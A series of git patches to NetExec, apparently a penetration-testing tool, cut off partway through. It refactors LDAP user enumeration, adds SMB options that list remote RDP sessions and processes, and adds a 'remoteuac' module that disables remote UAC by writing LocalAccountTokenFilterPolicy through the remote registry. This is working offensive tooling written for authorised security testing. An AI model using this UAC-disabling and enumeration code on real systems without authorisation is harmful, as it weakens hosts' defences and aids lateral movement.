From 4a47550d94d057f2d21af37bd4aee6b82a8140f0 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Wed, 9 Oct 2024 23:40:02 +0300 Subject: [PATCH 01/78] Update users and active-users ldap.py Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 202 +++++++++++++++++++++++++++++------------- 1 file changed, 140 insertions(+), 62 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7780a5b1..9adaa918 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -729,27 +729,67 @@ class ldap(connection): ------- None """ + def pwd_last_set_func(pwd_last_set): + """Helper function to format pwdLastSet""" + if pwd_last_set: + timestamp_seconds = int(pwd_last_set) / 10**7 + start_date = datetime(1601, 1, 1) + parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") + if parsed_pw_last_set == "1601-01-01 00:00:00": + return "" + return parsed_pw_last_set + if len(self.args.users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: - # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it + # Handle the case for anonymous LDAP bindings if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return + users = [] + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") + for item in resp: + if not isinstance(item, ldapasn1_impacket.SearchResultEntry): + continue + + # Initialize default values + sAMAccountName = "N/A" + pwdcount = "N/A" + parsed_pw_last_set = "N/A" + description = "N/A" + + # Initialize the username as a fallback + if "objectName" in item: + # Extract the username from the objectName + sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] + + # Iterate over the attributes for each entry + for attribute in item["attributes"]: + attr_type = str(attribute["type"]) + attr_vals = attribute["vals"] + + if attr_type == "sAMAccountName": + sAMAccountName = str(attr_vals[0]) + elif attr_type == "badPwdCount": + pwdcount = str(attr_vals[0]) + elif attr_type == "pwdLastSet": + pwd_last_set = str(attr_vals[0]) + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + elif attr_type == "description": + description = str(attr_vals[0]) + + self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") + + return + users = parse_result_attributes(resp) # we print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}") @@ -758,12 +798,7 @@ class ldap(connection): # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module parsed_pw_last_set = "" pwd_last_set = user.get("pwdLastSet", "") - if pwd_last_set != "": - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) # we default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") @@ -814,6 +849,25 @@ class ldap(connection): self.logger.fail(f"Skipping item, cannot process due to error {e}") def active_users(self): + """Helper function to format pwdLastSet""" + def pwd_last_set_func(pwd_last_set): + if pwd_last_set: + timestamp_seconds = int(pwd_last_set) / 10**7 + start_date = datetime(1601, 1, 1) + parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") + if parsed_pw_last_set == "1601-01-01 00:00:00": + return "" + return parsed_pw_last_set + + """Helper function to format userAccountControl""" + def user_account_control_cal(user_account_control): + if user_account_control is not None: # Check if user_account_control is not None + account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list + account_disabled = int(account_control) & 2 + if not account_disabled: + activeusers.append(user.get("sAMAccountName").lower()) + return activeusers + if len(self.args.active_users) > 0: arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") @@ -822,66 +876,90 @@ class ldap(connection): else: arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) - allusers = parse_result_attributes(resp) - count = 0 - activeusers = [] - argsusers = [] + if resp: + allusers = parse_result_attributes(resp) - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers + activeusers = [] + argsusers = [] - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - count += 1 - activeusers.append(user.get("sAMAccountName").lower()) + if arg: + resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) + users_args = parse_result_attributes(resp_args) + # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing + for i in range(len(self.args.active_users)): + try: + argsusers.append(users_args[i]) + except Exception as e: + self.logger.debug("Exception:", exc_info=True) + self.logger.debug(f"Skipping item, cannot process due to error {e}") else: + argsusers = allusers + resp_args = allusers + + for user in allusers: + user_account_control = user.get("userAccountControl") + if user_account_control: + # Only shows users with userAccountControl value! If a enable user has not userAccountControl value, it wont be listing. + activeusers = user_account_control_cal(user_account_control) self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp_args: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return - self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + if self.username == "": + self.logger.display(f"Total records returned: {len(activeusers)}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + + for item in resp: + if not isinstance(item, ldapasn1_impacket.SearchResultEntry): + continue + + # Initialize default values + sAMAccountName = "N/A" + pwdcount = "N/A" + parsed_pw_last_set = "N/A" + description = "N/A" - for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - if pwd_last_set: # Checks if pwdLastSet is empty or not. - timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer. - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" + # Initialize the username as a fallback + if "objectName" in item: + # Extract the username from the objectName + sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + # Iterate over the attributes for each entry + for attribute in item["attributes"]: + attr_type = str(attribute["type"]) + attr_vals = attribute["vals"] + + if attr_type == "sAMAccountName": + sAMAccountName = str(attr_vals[0]) + elif attr_type == "badPwdCount": + pwdcount = str(attr_vals[0]) + elif attr_type == "pwdLastSet": + pwd_last_set = str(attr_vals[0]) + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + elif attr_type == "description": + description = str(attr_vals[0]) + + if sAMAccountName.lower() in activeusers: + self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<8}{description}") + + return + self.logger.display(f"Total records returned: {len(activeusers)}, total {len(allusers) - len(activeusers)} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - len(activeusers)} user(s) disabled") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + + for arguser in argsusers: + pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + + if arguser.get("sAMAccountName").lower() in activeusers and arg is False: + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: + self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + elif (arguser.get("sAMAccountName").lower() in activeusers): + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From ebb4d3e405eaadb147ab624ca4b8f863df24e719 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:52:04 +0200 Subject: [PATCH 02/78] [SMB] Add the Signed-off-by: Deft_ --- nxc/protocols/smb.py | 146 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 146 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..cdef68b0 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -28,6 +28,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE +from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker @@ -792,6 +793,151 @@ class smb(connection): self.logger.debug(f"ps_execute response: {response}") return response + def get_session_list(self): + with TSTS.TermSrvEnumeration(self.conn, self.host) as lsm: + handle = lsm.hRpcOpenEnum() + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult'] + lsm.hRpcCloseEnum(handle) + self.sessions = {} + for i in rsessions: + sess = i['SessionInfo']['SessionEnum_Level1'] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] + self.sessions[sess['SessionId']] = { 'state' :state, + 'SessionName' :sess['Name'], + 'RemoteIp' :'', + 'ClientName' :'', + 'Username' :'', + 'Domain' :'', + 'Resolution' :'', + 'ClientTimeZone':'' + } + + def enumerate_sessions_info(self): + if len(self.sessions): + with TSTS.TermSrvSession(self.conn, self.host) as TermSrvSession: + for SessionId in self.sessions.keys(): + sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) + self.sessions[SessionId]['flags'] = sessflags + domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName'] + if not len(self.sessions[SessionId]['Domain']) and len(domain): + self.sessions[SessionId]['Domain'] = domain + username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName'] + if not len(self.sessions[SessionId]['Username']) and len(username): + self.sessions[SessionId]['Username'] = username + self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime'] + self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] + self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] + self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] + + def qwinsta(self): + desktop_states = { + 'WTS_SESSIONSTATE_UNKNOWN': '', + 'WTS_SESSIONSTATE_LOCK' : 'Locked', + 'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked', + } + self.get_session_list() + if not len(self.sessions): + return + self.enumerate_sessions_info() + + maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions]) + maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1 + maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 + maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1 + maxIdLen = max([len(str(i)) for i in self.sessions]) + maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1 + maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions]) + maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1 + maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions]) + maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1 + maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions]) + maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1 + template = ('{SESSIONNAME: <%d} ' + '{USERNAME: <%d} ' + '{ID: <%d} ' + '{STATE: <%d} ' + '{DSTATE: <9} ' + '{CONNTIME: <20} ' + '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + + result = [] + header = template.format( + SESSIONNAME = 'SESSIONNAME', + USERNAME = 'USERNAME', + ID = 'ID', + STATE = 'STATE', + DSTATE = 'Desktop', + CONNTIME = 'ConnectTime', + DISCTIME = 'DisconnectTime', + ) + + header2 = template.replace(' <','=<').format( + SESSIONNAME = '', + USERNAME = '', + ID = '', + STATE = '', + DSTATE = '', + CONNTIME = '', + DISCTIME = '', + ) + + header_verbose = '' + header2_verbose = '' + result.append(header+header_verbose) + result.append(header2+header2_verbose+'\n') + + for i in self.sessions: + connectTime = self.sessions[i]['ConnectTime'] + connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None' + + disconnectTime = self.sessions[i]['DisconnectTime'] + disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None' + userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else '' + + row = template.format( + SESSIONNAME = self.sessions[i]['SessionName'], + USERNAME = userName, + ID = i, + STATE = self.sessions[i]['state'], + DSTATE = desktop_states[self.sessions[i]['flags']], + CONNTIME = connectTime, + DISCTIME = disconnectTime, + ) + row_verbose = '' + result.append(row+row_verbose) + + self.logger.success("Enumerated qwinsta sessions") + for row in result: + self.logger.highlight(row) + + def tasklist(self): + with TSTS.LegacyAPI(self.conn, self.host) as legacy: + try: + handle = legacy.hRpcWinStationOpenServer() + r = legacy.hRpcWinStationGetAllProcesses(handle) + except: + # TODO: Issue https://github.com/fortra/impacket/issues/1816 + self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") + return + if not len(r): + return None + self.logger.success("Enumerated processes") + maxImageNameLen = max([len(i['ImageName']) for i in r]) + maxSidLen = max([len(i['pSid']) for i in r]) + template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) + self.logger.highlight(template.replace(': ',':=').format('','','','','')) + for procInfo in r: + row = template.format( + procInfo['ImageName'], + procInfo['UniqueProcessId'], + procInfo['SessionId'], + procInfo['pSid'], + '{:,} K'.format(procInfo['WorkingSetSize']//1000), + ) + self.logger.highlight(row) + def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") From a804041140cfa018d950c65dc4ef18266bf727ce Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:52:45 +0200 Subject: [PATCH 03/78] [SMB] Add the --qwinsta and --tasklist options Signed-off-by: Deft_ --- nxc/protocols/smb/proto_args.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..e45194e8 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -47,6 +47,8 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections") + mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes") wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries") wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") @@ -101,4 +103,4 @@ def get_conditional_action(baseAction): x.required = True super().__call__(parser, namespace, values, option_string) - return ConditionalAction \ No newline at end of file + return ConditionalAction From cc5016f75a8b5f8920d494460651e73cabc61f88 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:55:31 +0200 Subject: [PATCH 04/78] [SMB] Signed-off-by: Deft_ --- nxc/protocols/smb.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index cdef68b0..5b3f3783 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -829,7 +829,8 @@ class smb(connection): self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] - + + @requires_admin def qwinsta(self): desktop_states = { 'WTS_SESSIONSTATE_UNKNOWN': '', @@ -910,7 +911,8 @@ class smb(connection): self.logger.success("Enumerated qwinsta sessions") for row in result: self.logger.highlight(row) - + + @requires_admin def tasklist(self): with TSTS.LegacyAPI(self.conn, self.host) as legacy: try: From f6436fd9ba877f8fb223ea5efb5513c20fa7bd8b Mon Sep 17 00:00:00 2001 From: Deft_ Date: Thu, 17 Oct 2024 13:33:49 +0200 Subject: [PATCH 05/78] Create remoteuac.py Signed-off-by: Deft_ --- nxc/modules/remoteuac.py | 84 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 nxc/modules/remoteuac.py diff --git a/nxc/modules/remoteuac.py b/nxc/modules/remoteuac.py new file mode 100644 index 00000000..29518056 --- /dev/null +++ b/nxc/modules/remoteuac.py @@ -0,0 +1,84 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables UAC (prevent non RID500 account to get high priv token remotely) +# Disables UAC (allow non RID500 account to get high priv token remotely) +class NXCModule: + name = "remoteuac" + description = "Enable or disable remote UAC" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" + )['phkResult'] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00", + rrp.REG_DWORD, + 1 + ) + context.log.highlight("Remote UAC disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Remote UAC enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() From d212ae7c2ddf90a914e256dfaea8d658fbf575fc Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 21 Oct 2024 21:55:46 +0300 Subject: [PATCH 06/78] Updated as Neff's review Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 128 +++++++++--------------------------------- 1 file changed, 28 insertions(+), 100 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9adaa918..ee0c91b3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -729,78 +729,41 @@ class ldap(connection): ------- None """ - def pwd_last_set_func(pwd_last_set): - """Helper function to format pwdLastSet""" - if pwd_last_set: - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - return "" - return parsed_pw_last_set - if len(self.args.users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: + resp_parse = parse_result_attributes(resp) # Handle the case for anonymous LDAP bindings if self.username == "": - users = [] - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") - - for item in resp: - if not isinstance(item, ldapasn1_impacket.SearchResultEntry): - continue - - # Initialize default values - sAMAccountName = "N/A" - pwdcount = "N/A" - parsed_pw_last_set = "N/A" - description = "N/A" - - # Initialize the username as a fallback - if "objectName" in item: - # Extract the username from the objectName - sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] - - # Iterate over the attributes for each entry - for attribute in item["attributes"]: - attr_type = str(attribute["type"]) - attr_vals = attribute["vals"] - - if attr_type == "sAMAccountName": - sAMAccountName = str(attr_vals[0]) - elif attr_type == "badPwdCount": - pwdcount = str(attr_vals[0]) - elif attr_type == "pwdLastSet": - pwd_last_set = str(attr_vals[0]) - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) - elif attr_type == "description": - description = str(attr_vals[0]) - - self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") + self.logger.highlight(f"{'-Username-':<40}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") + for item in resp_parse: + sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" + parsed_pw_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") + pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" + description = item.get("description") if item.get("description") else "" + self.logger.highlight(f"{sAMAccountName:<40}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") return - users = parse_result_attributes(resp) # we print the total records after we parse the results since often SearchResultReferences are returned - self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}") + self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - for user in users: + for user in resp_parse: # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module parsed_pw_last_set = "" - pwd_last_set = user.get("pwdLastSet", "") - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("0" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + # we default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") def groups(self): # Building the search filter @@ -848,17 +811,7 @@ class ldap(connection): self.logger.fail("Exception:", exc_info=True) self.logger.fail(f"Skipping item, cannot process due to error {e}") - def active_users(self): - """Helper function to format pwdLastSet""" - def pwd_last_set_func(pwd_last_set): - if pwd_last_set: - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - return "" - return parsed_pw_last_set - + def active_users(self): """Helper function to format userAccountControl""" def user_account_control_cal(user_account_control): if user_account_control is not None: # Check if user_account_control is not None @@ -876,7 +829,7 @@ class ldap(connection): else: arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] @@ -884,7 +837,6 @@ class ldap(connection): if resp: allusers = parse_result_attributes(resp) - activeusers = [] argsusers = [] @@ -912,54 +864,30 @@ class ldap(connection): if self.username == "": self.logger.display(f"Total records returned: {len(activeusers)}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for item in resp: - if not isinstance(item, ldapasn1_impacket.SearchResultEntry): - continue - - # Initialize default values - sAMAccountName = "N/A" - pwdcount = "N/A" - parsed_pw_last_set = "N/A" - description = "N/A" - # Initialize the username as a fallback - if "objectName" in item: - # Extract the username from the objectName - sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] - - # Iterate over the attributes for each entry - for attribute in item["attributes"]: - attr_type = str(attribute["type"]) - attr_vals = attribute["vals"] - - if attr_type == "sAMAccountName": - sAMAccountName = str(attr_vals[0]) - elif attr_type == "badPwdCount": - pwdcount = str(attr_vals[0]) - elif attr_type == "pwdLastSet": - pwd_last_set = str(attr_vals[0]) - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) - elif attr_type == "description": - description = str(attr_vals[0]) 